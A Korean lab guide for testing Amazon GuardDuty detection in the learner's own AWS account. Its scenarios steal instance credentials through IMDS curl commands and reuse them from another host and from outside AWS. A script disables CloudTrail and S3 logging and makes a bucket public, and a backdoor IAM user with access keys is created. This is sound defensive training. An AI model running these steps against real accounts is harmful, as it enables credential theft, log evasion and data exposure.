1. 기본 환경 구성
이번 실습은 IAM 사용자 계정을 통해 관리 콘솔에 접근하고 액세스 키를 활용해 awscli 도구를 사용합니다.
해당 작업을 수행하지 않았다면 아래 토글을 확장해 작업을 선행하고 본격적인 실습에 들어갑니다.
IAM 사용자 생성 및 액세스 키 생성
1.1. Terraform을 통한 기본 인프라 배포
Terraform을 통한 기본 인프라 배포에 앞서 SSH 키 페어, IAM User Access Key ID, IAM User Secret Access Key를 미리 확인하고 메모해 둡니다.
Terraform으로 기본 인프라 배포
cd cnasg_class_tf/Section17
Bash
복사
# 실습 코드 경로 진입
export TF_VAR_KeyName=[각자 ssh keypair]
export TF_VAR_NickName=[각자 닉네임]
export TF_VAR_MyIamUserAccessKeyID=[각자 iam 사용자의 access key id]
export TF_VAR_MyIamUserSecretAccessKey=[각자 iam 사용자의 secret access key]
export TF_VAR_SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32
Bash
복사
# Terraform 환경 변수 저장
terraform init
terraform plan
Bash
복사
# Terraform 배포
nohup sh -c "terraform apply -auto-approve" > create.log 2>&1 &
Bash
복사
Note:
Terraform 배포가 완료되면(약 5분 정도 대기) 정상적으로 자원 생성이 되었는지 확인을 합니다.(cat create.log)
실수로 Terraform 환경 변수를 설정하지 않은 상태에서 nohup으로 실행하면, terraform 에러가 발생해도 프로세스가 종료되지 않고 계속 점유될 수 있습니다.
이 경우 terraform 프로세스를 강제로 종료한 뒤, 환경 변수를 설정하고 다시 실행해야 합니다.
ps aux | grep -i terraform
kill -9 <terraform_PID>
Bash
복사
# terraform 프로세스 강제 종료
1.2. 기본 정보 생성 및 확인
Terraform 배포가 완료 후 출력되는 Outputs 정보에서 cn_admin_ip, cn_worker_ip, cn_attacker_ip 의 퍼블릭 IP를 확인합니다.
대상 IP로 인스턴스에 SSH로 접속하고 아래 명령어를 통해 정보를 확인합니다.
CN-ADMIN
전역 변수 및 자격 증명 확인
echo ${AWS_DEFAULT_REGION}
echo ${NICKNAME}
echo ${ACCOUNT_ID}
Bash
복사
# 전역 변수 및 자격 증명 확인
aws sts get-caller-identity
Bash
복사
CN-WORKER & CN-ATTACKER
자격 증명 확인
aws sts get-caller-identity
Bash
복사
# 자격 증명 확인
CN-ADMIN
GuardDuty 활성화
aws guardduty list-detectors
Bash
복사
# GuardDuty 활성화 상태 확인
aws guardduty create-detector --enable
Bash
복사
# GuardDuty Detector 생성
DETECTOR_ID=$(aws guardduty list-detectors --query 'DetectorIds[0]' --output text)
echo "export DETECTOR_ID=${DETECTOR_ID}" >> /etc/profile
echo $DETECTOR_ID
Bash
복사
# Detector ID 변수 선언
CloudTrail Trail 생성 (Case 2 대상)
aws s3api create-bucket \
--bucket cnasg-${NICKNAME}-trail \
--create-bucket-configuration LocationConstraint=${AWS_DEFAULT_REGION}
Bash
복사
# CloudTrail 저장용 버킷 생성
cat > trail-bucket-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AWSCloudTrailAclCheck",
"Effect": "Allow",
"Principal": { "Service": "cloudtrail.amazonaws.com" },
"Action": "s3:GetBucketAcl",
"Resource": "arn:aws:s3:::cnasg-${NICKNAME}-trail"
},
{
"Sid": "AWSCloudTrailWrite",
"Effect": "Allow",
"Principal": { "Service": "cloudtrail.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::cnasg-${NICKNAME}-trail/AWSLogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}
EOF
Bash
복사
# 버킷 정책에 Delivery Policy 추가
aws s3api put-bucket-policy \
--bucket cnasg-${NICKNAME}-trail \
--policy file://trail-bucket-policy.json
Bash
복사
aws cloudtrail create-trail \
--name cnasg-${NICKNAME}-trail \
--s3-bucket-name cnasg-${NICKNAME}-trail
Bash
복사
# CloudTrail - Trail 생성 및 시작
aws cloudtrail start-logging \
--name cnasg-${NICKNAME}-trail
Bash
복사
aws cloudtrail get-trail-status \
--name cnasg-${NICKNAME}-trail | jq
Bash
복사
# Trail 상태 확인 (IsLogging: true)
S3 데모 버킷 생성 (Case 2 대상)
aws s3api create-bucket \
--bucket cnasg-${NICKNAME}-demo \
--create-bucket-configuration LocationConstraint=${AWS_DEFAULT_REGION}
Bash
복사
# 실습용 S3 버킷 생성
echo "test data" > sample.txt
aws s3 cp sample.txt s3://cnasg-${NICKNAME}-demo/sample.txt
Bash
복사
# 테스트 객체 업로드
aws s3api put-bucket-logging \
--bucket cnasg-${NICKNAME}-demo \
--bucket-logging-status '{
"LoggingEnabled": {
"TargetBucket": "cnasg-'${NICKNAME}'-trail",
"TargetPrefix": "demo-bucket-access-logs/"
}
}'
Bash
복사
# 대상 버킷에 서버 액세스 로깅 활성화
aws s3api get-bucket-logging \
--bucket cnasg-${NICKNAME}-demo | jq
Bash
복사
# 로깅 설정 확인
2. 위협 탐지 시나리오
이미 침해되어 자격 증명이 탈취된 워크로드를 가정하고, 이후 발생하는 위협 행위를 GuardDuty가 어떻게 탐지하는지 확인합니다.
2.1. [Case 1] 컴퓨팅 워크로드 (C2 통신)
침해된 워크로드가 공격자의 C2(Command and Control) 서버와 통신하는 상황을 시뮬레이션하고, GuardDuty가 이를 탐지하는지 확인합니다.
CN-WORKER
C2 서버 통신 시뮬레이션
dig GuardDutyC2ActivityB.com any
Bash
복사
# AWS 공식 GuardDuty 테스트 도메인으로 DNS 쿼리
CN-ADMIN
GuardDuty finding 대기 및 확인
DNS 쿼리 발생 후 findingIds가 뜨기까지 약간의 대기가 필요합니다. watch로 반복해서 결과가 나올 때까지 기다립니다.
aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"type":{"Eq":["Backdoor:EC2/C&CActivity.B!DNS"]}}}'
Bash
복사
# finding 목록 조회 (Backdoor:EC2/C&CActivity.B!DNS) (상: 단일, 하: 반복)
watch -d "aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{\"Criterion\":{\"type\":{\"Eq\":[\"Backdoor:EC2/C&CActivity.B!DNS\"]}}}'"
Bash
복사
FINDING_ID_1=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"type":{"Eq":["Backdoor:EC2/C&CActivity.B!DNS"]}}}' \
--query 'FindingIds[0]' --output text)
echo $FINDING_ID_1
Bash
복사
# finding ID 변수 선언
aws guardduty get-findings \
--detector-id ${DETECTOR_ID} \
--finding-ids ${FINDING_ID_1} | jq
Bash
복사
# finding 상세 확인
2.2. [Case 2] S3 데이터 침해 종합 행위
탈취한 자격 증명으로 흔적을 지우고, 접근 범위를 넓히고, 실제로 데이터를 공개하는 일련의 행위를 GuardDuty가 탐지하는지 확인합니다.
CN-WORKER
IMDS를 통한 임시 자격 증명 탈취 시뮬레이션
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
Bash
복사
# IMDSv2 토큰 발급
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/)
echo $ROLE_NAME
Bash
복사
# 연결된 역할 이름 확인
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
Bash
복사
# 임시 자격 증명 조회 (AccessKeyId / SecretAccessKey / Token)
출력된 AccessKeyId, SecretAccessKey, Token 값을 복사해서 CN-ATTACKER로 옮겨야 합니다.
CN-ATTACKER
탈취한 자격 증명 설정
aws configure set aws_access_key_id <복사한 AccessKeyId>
aws configure set aws_secret_access_key <복사한 SecretAccessKey>
aws configure set aws_session_token <복사한 Token>
Bash
복사
# 탈취한 임시 자격 증명 설정
aws sts get-caller-identity
Bash
복사
# 자격 증명 확인 (CN-WORKER 역할로 인증됨을 확인)
종합 공격 행위 실행 (흔적 지우기 → 접근 확장 → 데이터 공개)
cat > attack-sequence-test.sh << 'SCRIPT'
#!/bin/bash
set -x
echo "=== 1. CloudTrail 로깅 중지 (Defense Evasion) ==="
aws cloudtrail stop-logging --name cnasg-${NICKNAME}-trail
echo "=== 2. S3 서버 액세스 로깅 중지 (Defense Evasion) ==="
aws s3api put-bucket-logging --bucket cnasg-${NICKNAME}-demo --bucket-logging-status '{}'
echo "=== 3. S3 Block Public Access 해제 (Privilege Escalation / Impact) ==="
aws s3api put-public-access-block --bucket cnasg-${NICKNAME}-demo \
--public-access-block-configuration BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false
echo "=== 4. S3 버킷 정책으로 실제 익명 접근 허용 (Policy:S3/BucketAnonymousAccessGranted) ==="
cat > /tmp/public-policy.json << EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PublicReadSample",
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::cnasg-${NICKNAME}-demo/sample.txt"
}
]
}
EOF
aws s3api put-bucket-policy --bucket cnasg-${NICKNAME}-demo --policy file:///tmp/public-policy.json
echo "=== 완료 ==="
SCRIPT
chmod +x attack-sequence-test.sh
Bash
복사
# 종합 공격 행위 실행 스크립트 생성 및 실행
./attack-sequence-test.sh
Bash
복사
CN-ADMIN
GuardDuty finding 확인
종합 행위 스크립트 실행 후 findingIds가 뜨기까지 약간의 대기가 필요합니다. watch로 반복해서 결과가 나올 때까지 기다립니다.
watch -d "aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--query 'FindingIds' --output json"
Bash
복사
# 전체 Finding 목록 조회 (총 5개까지 대기)
FINDING_ID_2_1=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"type":{"Eq":["Stealth:IAMUser/CloudTrailLoggingDisabled"]}}}' \
--query 'FindingIds[0]' --output text)
echo CloudTrail 로깅 중지 : ${FINDING_ID_2_1}
FINDING_ID_2_2=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"type":{"Eq":["Stealth:S3/ServerAccessLoggingDisabled"]}}}' \
--query 'FindingIds[0]' --output text)
echo S3 서버 액세스 로깅 중지 : ${FINDING_ID_2_2}
FINDING_ID_2_3=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"type":{"Eq":["Policy:S3/BucketBlockPublicAccessDisabled"]}}}' \
--query 'FindingIds[0]' --output text)
echo S3 Block Public Access 해제 : ${FINDING_ID_2_3}
FINDING_ID_2_4=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"type":{"Eq":["Policy:S3/BucketAnonymousAccessGranted"]}}}' \
--query 'FindingIds[0]' --output text)
echo S3 익명 접근 허용 : ${FINDING_ID_2_4}
Bash
복사
# finding ID 변수 선언
aws guardduty get-findings \
--detector-id ${DETECTOR_ID} \
--finding-ids ${FINDING_ID_2_1} | jq
Bash
복사
# finding 상세 확인
aws guardduty get-findings \
--detector-id ${DETECTOR_ID} \
--finding-ids ${FINDING_ID_2_2} | jq
Bash
복사
aws guardduty get-findings \
--detector-id ${DETECTOR_ID} \
--finding-ids ${FINDING_ID_2_3} | jq
Bash
복사
aws guardduty get-findings \
--detector-id ${DETECTOR_ID} \
--finding-ids ${FINDING_ID_2_4} | jq
Bash
복사
2.3. [Case 3] AWS 자격 증명 (인스턴스 자격 증명 외부 유출)
침해된 워크로드의 임시 자격 증명이 AWS 네트워크 밖에서 사용되는 상황을 시뮬레이션하고, GuardDuty가 이를 탐지하는지 확인합니다.
각자 사용자 PC
앞서 CN-WORKER에서 노출한 AccessKeyId, SecretAccessKey, Token 값을 복사해서 사용자 PC로 옮겨야 합니다.
탈취한 자격 증명 등록 및 AWS 밖에서 여러 행위 실행
export AWS_ACCESS_KEY_ID="복사한 값"
export AWS_SECRET_ACCESS_KEY="복사한 값"
export AWS_SESSION_TOKEN="복사한 값"
Bash
복사
# 탈취한 자격 증명 등록
export AWS_PAGER=""
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances --region ap-northeast-2 --query 'Reservations[*].Instances[*].InstanceId'
aws iam list-users
aws iam create-user --user-name backdoor-user-test
aws iam create-access-key --user-name backdoor-user-test
Bash
복사
# 여러 행위 실행
자격 증명 원복
unset AWS_ACCESS_KEY_ID
unset AWS_SECRET_ACCESS_KEY
unset AWS_SESSION_TOKEN
Bash
복사
# 등록된 자격 증명 제거
CN-ADMIN
GuardDuty finding 확인
자격 증명 유출 후 findingIds가 뜨기까지 약간의 대기가 필요합니다. watch로 반복해서 결과가 나올 때까지 기다립니다.
aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"type":{"Eq":["UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS"]}}}'
Bash
복사
# finding 목록 조회 (UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS) (상: 단일, 하: 반복)
watch -d "aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{\"Criterion\":{\"type\":{\"Eq\":[\"UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS\"]}}}'"
Bash
복사
FINDING_ID_3=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"type":{"Eq":["UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS"]}}}' \
--query 'FindingIds[0]' --output text)
echo $FINDING_ID_3
Bash
복사
# finding ID 변수 선언
aws guardduty get-findings \
--detector-id ${DETECTOR_ID} \
--finding-ids ${FINDING_ID_3} | jq
Bash
복사
# finding 상세 확인
2.4. [Case 4] 파일 기반 위협 (EICAR + On-Demand 스캔)
침해된 워크로드에 악성 파일이 존재하는 상황을 시뮬레이션하고, On-demand 맬웨어 스캔으로 GuardDuty가 이를 탐지하는지 확인합니다.
CN-ATTACKER
EICAR 테스트 파일 업로드
curl -s -o eicar_com.zip https://secure.eicar.org/eicar_com.zip
unzip -o eicar_com.zip
Bash
복사
# EICAR 테스트 파일(zip) 다운로드 및 압축 해제 (실제 악성코드 아님, 백신 업계 표준 테스트 문자열)
cat eicar.com
Bash
복사
# 파일 확인
CN-ADMIN
On-demand 맬웨어 스캔 시작
ATTACKER_ARN=$(aws ec2 describe-instances \
--filters "Name=tag:Name,Values=CN-ATTACKER" "Name=instance-state-name,Values=running" \
--query 'Reservations[0].Instances[0].InstanceId' --output text)
ATTACKER_ARN="arn:aws:ec2:${AWS_DEFAULT_REGION}:${ACCOUNT_ID}:instance/${ATTACKER_ARN}"
echo $ATTACKER_ARN
Bash
복사
# CN-ATTACKER 인스턴스 ARN 확인
aws guardduty start-malware-scan \
--resource-arn ${ATTACKER_ARN}
Bash
복사
# On-demand 스캔 시작
On-demand 스캔은 GuardDuty 30일 무료체험에 포함되지 않으며, 스캔한 EBS 볼륨 크기만큼 소액 과금됩니다. (8GB로 약 $0.3)
스캔 결과 확인
스캔이 완료되기까지 약간의 대기가 필요합니다. watch로 반복해서 결과가 나올 때까지 기다립니다.
watch -d "aws guardduty describe-malware-scans --detector-id ${DETECTOR_ID} \
--query 'Scans[0].ScanStatus' --output text"
Bash
복사
# 스캔 상태 확인 (COMPLETED 대기)
aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"type":{"Eq":["Execution:EC2/MaliciousFile"]}}}'
Bash
복사
# finding 목록 조회 (Execution:EC2/MaliciousFile)
FINDING_ID_4=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"type":{"Eq":["Execution:EC2/MaliciousFile"]}}}' \
--query 'FindingIds[0]' --output text)
echo $FINDING_ID_4
Bash
복사
# finding ID 변수 선언
aws guardduty get-findings \
--detector-id ${DETECTOR_ID} \
--finding-ids ${FINDING_ID_4} | jq
Bash
복사
# finding 상세 확인
전체 Finding 목록 조회 및 필터링
ALL_IDS=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} --query 'FindingIds' --output json)
aws guardduty get-findings --detector-id ${DETECTOR_ID} \
--finding-ids $(echo $ALL_IDS | jq -r '.[]') \
--query 'Findings[*].[Title,Severity,Type]' --output table
Bash
복사
# 전체 finding 목록 (제목·심각도·유형)
HIGH_IDS=$(aws guardduty list-findings --detector-id ${DETECTOR_ID} \
--finding-criteria '{"Criterion":{"severity":{"Gte":7}}}' \
--query 'FindingIds' --output json)
aws guardduty get-findings --detector-id ${DETECTOR_ID} \
--finding-ids $(echo $HIGH_IDS | jq -r '.[]') \
--query 'Findings[*].[Title,Severity,Type]' --output table
Bash
복사
# 심각도 7 이상(High 이상)만 필터링해서 확인
[관리 콘솔] GuardDuty → 요약에 접근해서 조사 결과를 파악하고 분석할 수 있습니다.
3. 실습 환경 삭제
관리 콘솔
실습용 IAM 사용자 및 액세스 키 삭제
[관리 콘솔] IAM → IAM 사용자 → backdoor-user-test 선택 → 삭제
→ 액세스 키 비활성화 (클릭) → confirm (입력) → 사용자 삭제
CN-ADMIN
GuardDuty 비활성화
aws guardduty delete-detector \
--detector-id ${DETECTOR_ID}
Bash
복사
# Detector 삭제 (GuardDuty 비활성화)
aws guardduty list-detectors
Bash
복사
# 삭제 확인
CloudTrail 삭제
aws cloudtrail delete-trail \
--name cnasg-${NICKNAME}-trail
Bash
복사
# CloudTrail 삭제
S3 버킷 삭제
aws s3 rb s3://cnasg-${NICKNAME}-trail --force
Bash
복사
# CloudTrail 저장용 버킷 삭제
aws s3 rb s3://cnasg-${NICKNAME}-demo --force
Bash
복사
# 데모 버킷 삭제
Terraform 자원 삭제
nohup sh -c "terraform destroy -auto-approve" > delete.log 2>&1 &
Bash
복사
# terraform 자원 삭제
Note:
Terraform 자원 삭제가 완료되면(약 3분 정도 대기) 정상적으로 자원 삭제가 되었는지 확인을 합니다.(cat delete.log)
여기까지 섹션 17 실습 - 보안 위협 탐지 - Amazon GuardDuty를 마칩니다.
수고하셨습니다 :)



